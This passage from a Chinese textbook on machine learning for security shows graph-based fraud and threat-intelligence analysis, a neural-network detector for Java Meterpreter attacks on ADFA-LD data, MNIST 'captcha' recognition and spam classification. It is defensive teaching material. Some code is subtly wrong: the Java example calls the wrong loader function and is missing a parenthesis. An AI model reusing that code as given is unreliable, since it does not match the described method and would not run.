·uid，App的登录用户名； ·action，用户行为，是下单还是接单。 逻辑上对应的拓扑结构如图13-23所示。 图13-23 疑似刷单示意图 从拓扑图可以看出来，虽然两台设备hid1和hid2登录账户不一样，但是他们共同安装的App2上的登录用户名相同，从而可以判断这两台设备属于同一个人，该人疑似使用这两台设备分别扮演买家和卖家进行刷单行为。 逐行处理样本文件，获取对应的hid，uid，app字段： with open(\"../data/KnowledgeGraph/sample3.txt\") as f: for line in f: line=line.strip('\\n') hid,uid,app=line.split(',') 以hid为中心，添加对应的uid，app节点： G.add_edge(hid, uid) G.add_edge(hid, app) 逐行处理样本文件，获取对应的hid，uid，action字段： with open(\"../data/KnowledgeGraph/sample4.txt\") as f: for line in f: line=line.strip('\\n') hid,uid,action=line.split(',') 以hid为中心，添加对应的uid，action节点： G.add_edge(hid, uid) G.add_edge(hid, action) 可视化知识图谱： nx.draw(G, with_labels=True, node_size=600) plt.show() 对应知识图谱如图13-24所示。 图13-24 疑似刷单行为知识图谱 13.7 示例：知识图谱在威胁情报领域的应用 近几年，威胁情报在信息安全领域非常热门。威胁情报基于海量的数据分析，挖掘潜在的关联关系，为其他安全产品提供强大的数据情报支撑，目前涌现了大量的创业企业投入到威胁情报领域。 当今是万物互联的时代，攻击入口无处不在，单纯基于漏洞或者关键资产的防御方式早已力不能及。因此，企业想要安全地开展公司业务，就必须采取更加全面、高效的防御方式。威胁情报的出现弥补了这一不足，为传统防御方式带来了有效补充。威胁情报立足于攻击者的视角，依靠其广泛的可见性以及对整个互联网风险及威胁的全面理解，帮助我们更好地了解威胁，包括：可能的攻击目标，使用工具、方法，以及所掌握的传输武器的互联网基础设施情况等，使遇到威胁时能够准确、高效地采取行动。在2016年的RSA大会上出现了10家威胁情报公司，其中包括老牌安全公司Symantec、Dell Security，也包括大量新秀如Webroot、CrowdStrike，其中还包含国内的一家创业公司ThreatBook。 ThreatBook成立于2015年7月，致力于提供及时、准确的威胁情报，用来阻截攻击、发现威胁、溯源追踪和消除风险。ThreatBook的主要产品TIC（威胁情报中心）的威胁应用解决方案，使客户在面对关键威胁时可以快速发现并采取有效的行动。 完整演示代码请见本书GitHub上的13-6.py。"},
    {"text": "13.7.1 挖掘后门文件潜在联系 黑产通常通过传播后门文件入侵主机，组织起庞大的僵尸网络。后门文件通常通过连接C&C服务器的域名来监听控制指令，后门文件中硬编码少量C&C服务器的域名，然后自动化下载最近的C&C服务器列表。通过静态分析后门文件中硬编码的域名，关联分析域名和文件之间的关系，可以挖掘出后门文件之间的潜在联系。我们使用脱敏的测试数据来挖掘后门文件之间潜在联系的原理。测试样本记录了若干组文件和C&C域名的对应关系： md5=file1,domain=domain1 md5=file1,domain=domain2 md5=file1,domain=domain3 md5=file1,domain=domain6 md5=file2,domain=domain2 md5=file2,domain=domain3 md5=file2,domain=domain4 md5=file2,domain=domain5 ·md5，后门文件md5值； ·domain，C&C域名。 逻辑上对应的拓扑结构如图13-25所示。 图13-25 后门文件潜在关系示意图 从拓扑图可以看出，后门文件file1和file2分别对应C&C域名domain1、domain2、domain3、domain6和domain2、domain3、domain4、domain5，其中domain2和domain3同时被file1和file2使用，初步怀疑邮箱file1和file1为同一黑产团体控制的后门文件，domain1～domain4均疑似黑产同时控制，并很可能是同一用途，比如DDoS。 逐行处理样本文件，获取对应的file，domain： with open(\"../data/KnowledgeGraph/sample6.txt\") as f: for line in f: line=line.strip('\\n') file,domain=line.split(',') 以file为中心，添加对应的domain节点： G.add_edge(file, domain) 可视化知识图谱： nx.draw(G, with_labels=True, node_size=600) plt.show() 对应知识图谱如图13-26所示。 图13-26 后门文件潜在关系的知识图谱 13.7.2 挖掘域名潜在联系 黑产通常会注册大量的域名用于C&C服务器、钓鱼等，注册域名时会登记注册人的邮箱信息，通过关联IP、注册邮箱、域名可以挖掘潜在的关联关系。我们使用脱敏的测试数据来挖掘域名之间潜在联系的原理。测试样本记录了若干组IP、注册邮箱、域名的对应关系： mail=mail1,domain=domain1,ip=ip1 mail=mail1,domain=domain3,ip=ip2 mail=mail2,domain=domain2,ip=ip1 mail=mail2,domain=domain4,ip=ip2 mail=mail2,domain=domain5,ip=ip3 字段含义分别为： ·mail，注册邮箱； ·domain，注册域名； ·ip，注册域名对应的IP。 逻辑上对应的拓扑结构如图13-27所示。 图13-27 域名潜在关系示意图 从拓扑图可以看出，邮箱mail1和mail2分别注册了域名domain1、domain3和domain2、domain4、domain5，其中domain1和domain2都指向同一个ip1，domain3和domain4都指向同一个ip2，初步怀疑邮箱mail1和mail2被同一黑产团体控制，domain1～domain4均疑似黑产同时控制，并很可能是同一用途，比如C&C服务器或者钓鱼网站。 逐行处理样本文件，获取对应的mail，domain，ip： with open(\"../data/KnowledgeGraph/sample5.txt\") as f: for line in f: line=line.strip('\\n') mail,domain,ip=line.split(',') 以mail为中心，添加对应的domain节点： G.add_edge(mail, domain) 以domain为中心，添加对应的ip节点： G.add_edge(domain, ip) 可视化知识图谱： nx.draw(G, with_labels=True, node_size=600) plt.show() 对应知识图谱如图13-28所示。 图13-28 域名潜在关系的知识图谱 13.8 本章小结 本章重点介绍图算法和知识图谱的基础知识以及在黑产团体挖掘、WebShell检测方面的相关应用。知识图谱其实可以理解为一种特殊的图结构，它广泛应用于各个领域，在风控和威胁情报领域的应用远比本章的例子要复杂，需要大家结合实际情况多去挖掘。 参考资源 我写作本章时参考了以下网站，读者要想进一步学习，欢迎到这些网站进一步了解更多信息： · http://kdd.ics.uci.edu/databases/kddcup99/kddcup99.html · http://www.ll.mit.edu/ideval/data/1999data.html · http://www.secrepo.com/ · http://www.infoq.com/cn/articles/Application-of-Knowledge-Graph · http://netsecurity.51cto.com/art/201603/506654.htm · http://www.sohu.com/a/136093988_684755 还有一些参考文献值得一读： [1] 卜月华，王维凡，吕新忠.图论及其应用[M].2版.南京：东南大学出版社，2015. [2] 李航．统计学习方法[M]．北京：清华大学出版社，2012 [3] FM Aliyu，A Uyar.Evaluating Search Features of Google Knowledge Graph and Bing Satori[J].Online Information Review，2015，39（2）：197-213. 第14章 神经网络算法 通常，人们将SVM、KNN等之前介绍的算法理解为浅层学习，模型的识别能力更多取决于特征选取的有效性。浅层学习使用时，需要花费至少一半的时间在数据清洗与特征提取上，有人形象地将这些步骤称为“特征工程”，是对其巨大工作量的一种描述。从本章开始我们介绍神经网络，后面章节介绍深度学习算法，神经网络是人类第一次从自身生理结构上获得灵感，从而产生的一种新算法，从某种程度来说，也是人类理解自身的一次巨大进步。 本章将介绍神经网络的基本概念，并给出基本的使用方式，并通过案例介绍如何使用神经网络识别基于MNIST的验证码、识别基于Java的溢出攻击。"},
    {"text": "14.1 神经网络算法概述 人的大脑是由无数的神经元组成的复杂网络，见图14-1。神经元是具有长突起的细胞，它由细胞体、轴突和树突组成。 图14-1 人体神经网络图 每个神经元可以有一或多个树突，其结构如图14-2所示，可以接受刺激并将兴奋传入细胞体。每个神经元只有一个轴突，可以把兴奋从胞体传送到另一个神经元或其他组织，如肌肉或腺体。神经元信息处理与传递过程如图14-3所示。 图14-2 神经元结构 图14-3 神经元信息传递处理过程 神经网络算法就是模拟了人体神经元的工作原理，多个输入参数，分别具有各自的权重，经过激励函数的处理后，得到输出，如图14-4所示。输出可以再对接下一级的神经网络的输入，从而组成更加复杂的神经网络。 图14-4 人工神经网络信息传递处理过程 大脑里的生物神经细胞和其他的神经细胞是相互连接在一起的。为了创建一个人工神经网络，人工神经细胞也要以同样方式相互连接在一起。为此可以有许多不同的连接方式，其中最容易理解并且也是最广泛地使用的，就是把神经细胞一层一层地连结在一起。这一种类型的神经网络就叫前馈网络，如图14-5所示。 图14-5 前馈网络神经网络 如果对预测错误的神经元施加惩罚，从输出层开始层层向上查找预测错误的神经元，微调这些神经元对应的权重，可以达到修复错误的目的，这样的算法就叫做反向传播算法。Scikit-Learn中的神经网络实现都是使用反向传播算法。本文重点介绍算法在安全领域的应用，神经网络的公式推导请参考其他机器学习专业书籍。 14.2 示例：hello world！神经网络 导入相关库： from sklearn.neural_network import MLPClassifier 设置训练样本以及对应的标注： >>> X = [[0., 0.], [1., 1.]] >>> y = [0, 1] 实例化多层神经网络算法，其中隐藏层一共两层，对应神经元个数分别为5个和2个： >>> clf = MLPClassifier(solver='lbfgs', alpha=1e-5, ... hidden_layer_sizes=(5, 2), random_state=1) >>> clf.fit(X, y) 预测结果： >>> clf.predict([[2., 2.], [-1., -2.]]) array([1, 0]) 14.3 示例：使用神经网络算法识别验证码 MNIST是一个入门级的计算机视觉数据集，如图14-6所示，它包含各种手写数字图片，它也包含每一张图片对应的标签，告诉我们这个是数字几。我们使用神经网络来识别由MNIST组成的验证码。完整演示代码请见本书GitHub上的14-1.py。 图14-6 MNIST数据集 1.数据搜集和数据清洗 在线抓取最新的MNIST，并将前60000个样本作为训练样本，剩下的作为测试样本。其中图片大小为28×28，所以输入参数个数为784。 如果出现样本下载失败，可以直接去MNIST网站上下载，具体信息可以参考第3章内容： import matplotlib.pyplot as plt from sklearn.datasets import fetch_mldata from sklearn.neural_network import MLPClassifier mnist = fetch_mldata(\"MNIST original\") X, y = mnist.data / 255., mnist.target X_train, X_test = X[:60000], X[60000:] y_train, y_test = y[:60000], y[60000:] 2.特征化 实例化神经网络算法，隐藏层为一层，神经元个数为50： mlp = MLPClassifier(hidden_layer_sizes=(50,), max_iter=10, alpha=1e-4, solver='sgd', verbose=10, tol=1e-4, random_state=1, learning_rate_init=.1) 3.训练模型 mlp.fit(X_train, y_train) 4.效果验证 验证效果： print(\"Training set score: %f\" % mlp.score(X_train, y_train)) print(\"Test set score: %f\" % mlp.score(X_test, y_test)) 准确率达到了97%左右，效果非常不错： Training set score: 0.985733 Test set score: 0.971000"},
    {"text": "14.4 示例：使用神经网络算法检测Java溢出攻击 完整演示代码请见本书GitHub上的14-2.py。 1.数据搜集和数据清洗 使用ADFA-LD数据集中Java溢出攻击的相关数据（见图14-7），ADFA-LD数据集详细介绍请阅读第3章相关内容。 图14-7 ADFA-LD系统调用抽象成向量 加载ADFA-LD中的正常样本数据： def load_adfa_training_files(rootdir): x=[] y=[] list = os.listdir(rootdir) for i in range(0, len(list)): path = os.path.join(rootdir, list[i]) if os.path.isfile(path): x.append(load_one_flle(path)) y.append(0) return x,y 定义遍历目录下文件的函数： def dirlist(path, allfile): filelist = os.listdir(path) for filename in filelist: filepath = os.path.join(path, filename) if os.path.isdir(filepath): dirlist(filepath, allfile) else: allfile.append(filepath) return allfile 从攻击数据集中筛选和Java溢出攻击相关的数据： def load_adfa_java_files(rootdir): x=[] y=[] allfile=dirlist(rootdir,[]) for file in allfile: if re.match( r\" ../data/ADFA-LD/Attack_Data_Master/Java_Meterpreter_\\d+/UAD-Java-Meterpreter*\", file): x.append(load_one_flle(file)) y.append(1) return x,y 2.特征化 由于ADFA-LD数据集都记录了函数调用序列，且每个文件包含的函数调用序列的个数都不一致，可以参考第3章中的词集模型进行特征化。 x1,y1=load_adfa_training_files(\"../data/ADFA-LD/Training_Data_Master/\") x2,y2=load_adfa_hydra_ftp_files(\"../data/ADFA-LD/Attack_Data_Master/\" x=x1+x2 y=y1+y2 vectorizer = CountVectorizer(min_df=1) x=vectorizer.fit_transform(x) x=x.toarray() 3.训练样本 实例化神经网络算法，构建一个具有两层隐藏层的多层神经网络： mlp = MLPClassifier(hidden_layer_sizes=(150,50), max_iter=10, alpha=1e-4, solver='sgd', verbose=10, tol=1e-4, random_state=1, learning_rate_init=.1) 4.效果验证 我们使用十折交叉验证： print cross_validation.cross_val_score(mlp, x, y, n_jobs=-1,cv=10) 测试结果如下，准确率87%左右，不是很理想： 0.871493601917 14.5 本章小结 本章重点介绍神经网络算法的基础知识以及在Web安全领域的相关应用。本章是神经网络以及深度学习的基础篇，后面章节讲逐步揭开深度学习的神秘面纱。 参考资源 我写作本章时参考了以下网站，读者要想进一步学习，欢迎到这些网站进一步了解更多信息： · http://blog.csdn.net/lizhengnanhua/article/details/9061755 · https://wenku.baidu.com/view/01536f13a21614791711286b.html 还有一些参考文献值得一读： [1] G Creech.Developing a High-Accuracy Cross Platform Host-Based Intrusion Detection System Capable of Reliably Detecting Zero-Day Attacks.University of New South Wales，2014. [2] S Forrest，S Hofmeyr，A Somayaji.The Evolution of System-Call Monitoring.Computer Security Applications Conference，2008：418-430. [3] S Forrest，S Hofmeyr，A Somayaji，T A Longstaff.A Sense of Self for Unix Processes.Security and Privacy，1996. [4] S Hofmeyr，S.Forrest，A Somayaji.Intrusion Detection Using Sequences of System Calls.Journal of Computer Security，1998. 第15章 多层感知机与DNN算法 在上一章，我们介绍了神经网络的基础知识，并且介绍了当隐藏层为1时的简单应用。当隐藏层大于1时，神经网络具备更强大的学习能力，本章将介绍隐藏层大于1的情况，即所谓的多层感知机和DNN算法。从本章开始我们将接触一位新朋友TensorFlow，它是我们漫步深度学习领域的一位好帮手。 本章将介绍神经网络和深度学习的区别和联系。介绍TensorFlow的基础知识，包括操作、张量、变量和会话，以及TensorFlow的运行模式，包括单机模式和集群模式。然后通过案例介绍如何使用不同神经网络算法识别基于MNIST数据集的验证码，如何用朴素贝叶斯和深度神经网络算法来识别垃圾邮件。 15.1 神经网络与深度学习 从本章起，我们就要开始接触令人兴奋的深度学习算法了。我们在第14章中初步介绍了神经网络的基本知识，神经网络由输入层、隐藏层和输出层组成，如果隐藏层只有一层，就是最简单的单层神经网络，如图15-1所示。 图15-1 单层神经网络 如果隐藏层具有多层，就是多层感知机，如图15-2所示。深度学习就是多层感知机的一种。 狭义的多层感知机，要求必须是全连接的，所谓全连接，就是每个隐藏层的任何一个节点，都与下一层隐藏层的全部节点连接，如图15-3所示。 图15-2 多层感知机 非全连接神经网络如图15-4所示。 图15-3 全连接的神经网络 图15-4 非全连接的神经网络 深度神经网络（Deep Neural Network，DNN）就是一种全连接的多层感知机。常见的深度学习包括DNN、卷积神经网络（Convolutional Neural Network，CNN）、循环神经网络（Recurrent Neural Network，RNN）。"},
    {"text": "15.2 TensorFlow编程模型 TensorFlow是谷歌研发的第二代人工智能学习系统，其命名来源于本身的运行原理。Tensor也叫张量，即所谓的N维数组；Flow也叫流，即所谓基于数据流图的计算；TensorFlow为张量从流图的一端流动到另一端的计算过程。TensorFlow将复杂的数据结构传输至人工智能神经网中进行分析和处理，如图15-5所示。 图15-5 TensorFlow官网的示例图 TensorFlow计算模型中，最基础的4个组件是操作、张量、变量和会话。 15.2.1 操作 把算法表示成一个个操作的叠加，可以非常清晰地看到数据之间的关系，而且这样的基本操作也具有普遍性。在TensorFlow中，当数据流过操作节点的时候就可以对数据进行操作。一个操作可以有零个或多个输入，产生零个或多个输出。一个操作可能是一次数学计算，一个变量或常量，一个数据流走向控制，一次文件IO或者是一次网络通信。其中，一个常量可以看成没有输入、只有一个固定输出的操作。 15.2.2 张量 在计算图中，每个边就代表数据从一个操作流到另一个操作。这些数据被表示为张量，一个张量可以看成多维的数组或者高维的矩阵。关于TensorFlow中的张量，需要注意的是张量本身并没有保存任何值，张量仅仅提供了访问数值的一个接口，可以看成数值的一种引用。在TensorFlow实际使用中我们也可以发现，在run之前的张量并没有分配空间，此时的张量仅仅表示了一种数值的抽象，用来连接不同的节点，表示数据在不同操作之间的流动。 15.2.3 变量 变量是计算图中可以改变的节点。比如当计算权重的时候，随着迭代的进行，每次权重的值会发生相应的变化，这样的值就可以当作变量。在实际处理时，一般把需要训练的值指定为变量。在使用变量的时候，需要指定变量的初始值，变量的大小和数据类型就是根据初始值来推断的。 15.2.4 会话 在TensorFlow中，所有操作都必须在会话（session）中执行，会话负责分配和管理各种资源。在会话中提供了一个run方法，可以用它来执行计算图整体或者其中的一部分节点。在执行run方法时，还需要用feed_dict把相关数据输入到计算图。当run被调用时，TensorFlow将会从指定的输出节点开始，向前查找所有的依赖节点，所有依赖节点都将被执行。这些操作随后将被分配到物理执行单元上（比如CPU或GPU），这种分配规则由TensorFlow中的分配算法决定。 15.3 TensorFlow的运行模式 TensorFlow与Scikit-Learn的区别除了支撑的算法不一样，还有一个重要的区别——TensorFlow天生支持分布式和异构计算环境，从单机到集群，从CPU到GPU（见图15-6）都支持良好。 图15-6 GPU集群 TensorFlow支持最基本的单机模式，如图15-7所示，本书编写的样例也都是基于我的MAC笔记本运行的，顺便提下，MAC下运行TensorFlow算法，会有如下报错信息，不用理会它，程序还会继续运行。 can't determine number of CPU cores: assuming 4 I tensorflow/core/common_runtime/local_device.cc:25] Local device intra op parallelism threads: 4 图15-7 TensorFlow单机运行模式 TensorFlow也支持分布式架构，如图15-8所示，从MAC本到CPU服务器、GPU服务器、GPU集群甚至是神秘的TPU集群都支持。 图15-8 TensorFlow分布式运行模式"},
    {"text": "15.4 示例：在TensorFlow下识别验证码（一） 完整演示代码请见本书GitHub上的15-1.py。 1.数据清洗与特征提取 我们依然使用MNIST数据集合，使用TensorFlow的softmax回归算法，MNIST详细介绍请参考第3章中的介绍。唯一不同的地方是我们使用one-hot编码处理标记数据，原有的标记数据使用长度为1的向量标记结果，取值范围为0～9，one-hot编码又称一位有效编码，其方法是使用N位状态寄存器来对N个状态进行编码，每个状态都有其独立的寄存器位，并且在任意时刻，其中只有一位有效。使用one-hot编码后，使用一个长度为10的向量标记结果，转换的函数实现为： def get_one_hot(x,size=10): v=[] for x1 in x: x2=[0]*size x2[(x1-1)]=1 v.append(x2) return v 我们使用离线版的MNIST文件，下载链接为： http://www.iro.umontreal.ca/~lisa/deep/data/mnist/mnist.pkl.gz 文件读取方式为： import pickle import gzip def load_data(): with gzip.open('./mnist.pkl.gz') as fp: training_data, valid_data, test_data = pickle.load(fp) return training_data, valid_data, test_data 其中各个返回集合分别为： ·training_data，训练数据集合； ·valid_data，校验数据集合； ·test_data，测试数据集合。 加载数据，并针对标记数据转换成one-hot编码。 training_data, valid_data, test_dat=load_data() x_training_data,y_training_data=training_data x1,y1=test_dat y_training_data=get_one_hot(y_training_data) y1=get_one_hot(y1) 2.训练 我们使用经典的softmax回归算法来处理，如图15-9所示。 softmax算法的数学化的表现为：y=softmax（Wx+b） 使用TensorFlow的计算模型展现处理过程，如图15-10所示。 图15-9 TensorFlow官网对softmax算法的图解 图15-10 TensorFlow计算模型示例图 使用placeholder函数设置占位符，用于定义整个数据流的输入和输出。在这个例子中x和_y都是这种情况，其中，x对应整个系统输入，是一个维度为784的向量集合，且长度不限制；_y是整个系统的输出，对应一个维度为10的向量集合，两者的特征数据类型都是浮点型： x = tf.placeholder(\"float\", [None, 784]) y_ = tf.placeholder(\"float\", [None,10]) 定义整个系统中的变量，包括W、b，初始化均为0。整个系统的操作为y=softmax（Wx+b），x的维度为784，所以W为一个784乘以10的数组，b是一个维度为10的向量： W = tf.Variable(tf.zeros([784,10])) b = tf.Variable(tf.zeros([10])) 定义整个系统的操作函数： y = tf.nn.softmax(tf.matmul(x,W) + b) 定义衰减函数，这里的衰减函数使用交叉熵来衡量，通过梯度下降算法以0.01的学习速率最小化交叉熵： cross_entropy = -tf.reduce_sum(y_*tf.log(y)) train_step = tf.train.GradientDescentOptimizer(0.01).minimize(cross_entropy) 初始化全部变量并定义会话，在TensorFlow中每个会话都是独立的，相互不干扰。 init = tf.initialize_all_variables() sess = tf.Session() sess.run(init) 在理想情况下，我们希望用所有的数据来进行每一步的训练，因为这能给我们更好的训练结果，但显然这需要很大的计算开销。所以，每一次训练我们可以使用不同的数据子集，这样做既可以减少计算开销，又可以最大化地学习到数据集的总体特性。我们定义每次训练的数据子集的个数： batch_size=100 每次我们都顺序取出100个数据用于训练，便于梯度下降算法快速收敛，整个训练次数取决于整个数据集合的长度以及每次训练的数据个数： for i in range(int(len(x_training_data)/batch_size)): batch_xs=x_training_data[(i*batch_size):((i+1)*batch_size)] batch_ys=y_training_data[(i*batch_size):((i+1)*batch_size)] sess.run(train_step, feed_dict={x: batch_xs, y_: batch_ys}) 3.验证 TensorFlow的数据验证非常简单，使用自带的API即可： correct_prediction = tf.equal(tf.argmax(y, 1), tf.argmax(y_, 1)) accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32)) print(sess.run(accuracy, feed_dict={x: x1, y_: y1})) 运行结果如下，准确率约为90%： can't determine number of CPU cores: assuming 4 I tensorflow/core/common_runtime/local_device.cc:25] Local device intra op parallelism threads: 4 can't determine number of CPU cores: assuming 4 I tensorflow/core/common_runtime/local_session.cc:45] Local session inter op parallelism threads: 4 0.9097"},
    {"text": "15.5 示例：在TensorFlow下识别验证码（二） 完整演示代码请见本书GitHub上的15-2.py。 1.数据清洗与特征提取 我们依然使用MNIST数据集合和TensorFlow的多层感知机，同样利用one-hot编码处理标记数据。 2.训练 我们使用多层感知机来处理。 使用TensorFlow的计算模型展现处理过程，如图15-11所示。 图15-11 TensorFlow计算模型示例图 使用placeholder函数设置占位符，用于定义整个数据流的输入和输出。在这个例子中x和_y都是这种情况，其中，x对应整个系统输入，是一个维度为784的向量集合，且长度不限制；_y是整个系统的输出，对应一个维度为10的向量集合，两者的特征数据类型都是浮点型；另外，需要定义drop_out的比例keep_prob，同样也是浮点型。 x = tf.placeholder(\"float\", [None, 784]) y_ = tf.placeholder(\"float\", [None,10]) keep_prob=tf.placeholder(tf.float32) 定义整个系统中的变量W1、b1、W2、b2，其中隐藏层具有300个节点。 in_units=784 h1_units=300 W1=tf.Variable(tf.truncated_normal([in_units,h1_units],stddev=0.1)) b1=tf.Variable(tf.zeros([h1_units])) W2=tf.Variable(tf.zeros([h1_units,10])) b2=tf.Variable(tf.zeros([10])) 定义整个系统的操作函数，其中隐藏层有一层，使用relu函数生成： hidden1=tf.nn.relu(tf.matmul(x,W1)+b1) hidden1_drop=tf.nn.dropout(hidden1,keep_prob) y = tf.nn.softmax(tf.matmul(hidden1_drop,W2) + b2) 定义衰减函数，这里的衰减函数使用交叉熵来衡量，通过Adagrad自适应调节，学习速率为0.3： cross_entropy = tf.reduce_mean(-tf.reduce_sum(y_*tf.log(y),reduction_indices=[1])) train_step = tf.train.AdagradOptimizer(0.3).minimize(cross_entropy) 初始化全部变量并定义会话，在TensorFlow中每个会话都是独立的，互不干扰： init = tf.initialize_all_variables() sess = tf.Session() sess.run(init) 我们定义每次训练的数据子集的个数： batch_size=100 每次我们都顺序取出100个数据用于训练，便于梯度下降算法快速收敛，整个训练的次数取决于整个数据集合的长度以及每次训练的数据个数，其中keep_prob比例为75%： for i in range(int(len(x_training_data)/batch_size)): batch_xs=x_training_data[(i*batch_size):((i+1)*batch_size)] batch_ys=y_training_data[(i*batch_size):((i+1)*batch_size)] sess.run(train_step, feed_dict={x: batch_xs, y_: batch_ys,keep_prob:0.75}) 3.验证 TensorFlow的数据验证非常简单，使用自带的API即可： correct_prediction = tf.equal(tf.argmax(y, 1), tf.argmax(y_, 1)) accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32)) print(sess.run(accuracy, feed_dict={x: x1, y_: y1,keep_prob:1.0})) 运行结果如下，准确率约为96%，准确率提升不少，这就是神经网络的魅力。 can't determine number of CPU cores: assuming 4 I tensorflow/core/common_runtime/local_device.cc:25] Local device intra op parallelism threads: 4 can't determine number of CPU cores: assuming 4 I tensorflow/core/common_runtime/local_session.cc:45] Local session inter op parallelism threads: 4 0.9601"},
    {"text": "15.6 示例：在TensorFlow下识别验证码（三） 完整演示代码请见本书GitHub上的15-3.py 1.数据清洗与特征提取 我们依然使用MNIST数据集合和TensorFlow的DNN（如图15-12所示），同样使用one-hot编码处理标记数据。 图15-12 3层DNN示意图 2.训练 我们使用DNN模型进行计算，使用placeholder函数设置占位符，用于定义整个数据流的输入和输出。在这个例子中x和_y都是这种情况，其中，x对应整个系统输入，是一个维度为784的向量集合，且长度不限制；_y是整个系统的输出，对应一个维度为10的向量集合，两者的特征数据类型都是浮点型；另外，需要定义drop_out的比例keep_prob，同样也是浮点型： x = tf.placeholder(\"float\", [None, 784]) y_ = tf.placeholder(\"float\", [None,10]) keep_prob=tf.placeholder(tf.float32) 定义整个系统中的变量，其中有3个隐藏层： in_units=784 out_units=10 h1_units=300 h2_units=200 h3_units=100 W1=tf.Variable(tf.truncated_normal([in_units,h1_units],stddev=0.1)) b1=tf.Variable(tf.zeros([h1_units])) W2=tf.Variable(tf.zeros([h1_units,h2_units])) b2=tf.Variable(tf.zeros([h2_units])) W3=tf.Variable(tf.zeros([h2_units,h3_units])) b3=tf.Variable(tf.zeros([h3_units])) W4=tf.Variable(tf.zeros([h3_units,out_units])) b4=tf.Variable(tf.zeros([out_units])) 定义整个系统的操作函数，其中隐藏层有3层，使用relu函数生成： hidden1=tf.nn.relu(tf.matmul(x,W1)+b1) hidden2=tf.nn.relu(tf.matmul(hidden1,W2)+b2) hidden3=tf.nn.relu(tf.matmul(hidden2,W3)+b3) hidden_drop=tf.nn.dropout(hidden3,keep_prob) y = tf.nn.softmax(tf.matmul(hidden_drop,W4) + b4) 定义衰减函数，这里的衰减函数使用交叉熵来衡量，通过Adagrad自适应调节，学习速率为0.3： cross_entropy = tf.reduce_mean(-tf.reduce_sum(y_*tf.log(y),reduction_indices=[1])) train_step = tf.train.AdagradOptimizer(0.3).minimize(cross_entropy) 初始化全部变量并定义会话，在TensorFlow中每个会话都是独立的，互不干扰： init = tf.initialize_all_variables() sess = tf.Session() sess.run(init) 我们定义每次训练的数据子集的个数： batch_size=100 每次我们都顺序取出100个数据用于训练，便于梯度下降算法快速收敛，整个训练的次数取决于整个数据集合的长度以及每次训练的数据个数，其中keep_prob比例为75%： for i in range(int(len(x_training_data)/batch_size)): batch_xs=x_training_data[(i*batch_size):((i+1)*batch_size)] batch_ys=y_training_data[(i*batch_size):((i+1)*batch_size)] sess.run(train_step, feed_dict={x: batch_xs, y_: batch_ys,keep_prob:0.75}) 3.验证 TensorFlow的数据验证非常简单，使用自带的API即可： correct_prediction = tf.equal(tf.argmax(y, 1), tf.argmax(y_, 1)) accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32)) print(sess.run(accuracy, feed_dict={x: x1, y_: y1,keep_prob:1.0})) 运行结果如下，准确率约为93%，可见并非深度学习就一定效果好，当数据量不大时，SVM的效果很有可能优于深度学习。 can't determine number of CPU cores: assuming 4 I tensorflow/core/common_runtime/local_device.cc:25] Local device intra op parallelism threads: 4 can't determine number of CPU cores: assuming 4 I tensorflow/core/common_runtime/local_session.cc:45] Local session inter op parallelism threads: 4 0.9361"},
    {"text": "15.7 示例：在TensorFlow下识别垃圾邮件（一） 完整演示代码请见本书GitHub上的15-4.py。 1.数据清洗与特征提取 垃圾邮件是信息时代的副产品，具有以下危害： ·占用网络带宽，造成邮件服务器拥塞，进而降低整个网络的运行效率。 ·侵犯收件人的隐私权，侵占收件人信箱空间，耗费收件人的时间、精力和金钱。有的垃圾邮件还盗用他人的电子邮件地址作为发信地址，严重损害了他人的信誉。 ·被黑客利用成为助纣为虐的工具。2000年2月，黑客攻击雅虎等五大热门网站就是一个例子。黑客先是侵入并控制了一些高带宽的网站，集中众多服务器的带宽能力，然后用数以亿万计的垃圾邮件猛烈袭击目标，造成被攻击网站网路堵塞，最终瘫痪。 ·严重影响ISP的服务形象。在国际上，频繁转发垃圾邮件的主机会被上级国际因特网服务提供商列入国际垃圾邮件数据库，从而导致该主机不能访问国外许多网站。而且收到垃圾邮件的用户会因为ISP没有建立完善的垃圾邮件过滤机制，而转向其他ISP。一项调查表明：ISP每争取一个用户要花费75美元，但是每年因垃圾邮件要失去7.2%的用户。 ·妖言惑众、骗人钱财、传播色情等内容的垃圾邮件，已经对现实社会造成了危害。 我们使用SpamBase这个入门级的垃圾邮件分类训练集来测试。SpamBase的数据不是原始的邮件内容而是已经特征化的数据，对应的特征是统计的关键字以及特殊符号的词频，一共58个属性，其中最后一个是垃圾邮件的标记位，如图15-13所示。特征数据结构举例如下： word_freq_make: continuous. word_freq_address: continuous. word_freq_all: continuous. word_freq_3d: continuous. word_freq_our: continuous. word_freq_over: continuous. word_freq_remove: continuous. word_freq_internet: continuous. word_freq_order: continuous. word_freq_mail: continuous. word_freq_receive: continuous. word_freq_will: continuous. word_freq_people: continuous. word_freq_report: continuous. word_freq_addresses: continuous. 图15-13 SpamBase数据集特征抽取过程 数据来源为4601封邮件，其中1813封为垃圾邮件，数据内容举例如下： 0,0.64,0.64,0,0.32,0,0,0,0,0,0,0.64,0,0,0,0.32,0,1.29,1.93,0,0.96,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.778,0,0,3.756,61,278,1 0.21,0.28,0.5,0,0.14,0.28,0.21,0.07,0,0.94,0.21,0.79,0.65,0.21,0.14,0.14,0.07,0.28,3.47,0,1.59,0, 0.43,0.43,0,0,0,0,0,0,0,0,0,0,0,0,0.07,0,0,0,0,0,0,0,0,0,0,0,0,0.132,0,0.372,0.18,0.048,5.114,101,1028,1 加载SpamBase数据集，使用逗号切分，并且转换成数值型： x=[] y=[] with open(filename) as f: for line in f: line=line.strip('\\n') v=line.split(',') y.append(int(v[-1])) t=[] for i in range(57): t.append(float(v[i])) t=np.array(t) x.append(t) x=np.array(x) y=np.array(y) 随机划分数据集为训练集和测试集，其中测试集占40%： x_train, x_test, y_train, y_test=train_test_split( x,y, test_size=0.4, random_state=0) return x_train, x_test, y_train, y_test 2.训练 训练与验证过程如图15-14所示。 使用朴素贝叶斯算法进行训练： gnb = GaussianNB() y_predict = gnb.fit(x_train, y_train).predict(x_test) 图15-14 SpamBase垃圾邮件训练与验证过程 3.验证 使用测试数据集进行分类，得到分类结果y_predict，将y_predict与训练测试集的标记y_test进行比对，得到测试结果： score = metrics.accuracy_score(y_test, y_predict) print('Accuracy: {0:f}'.format(score)) 测试结果准确率约为82%： Accuracy: 0.826181"},
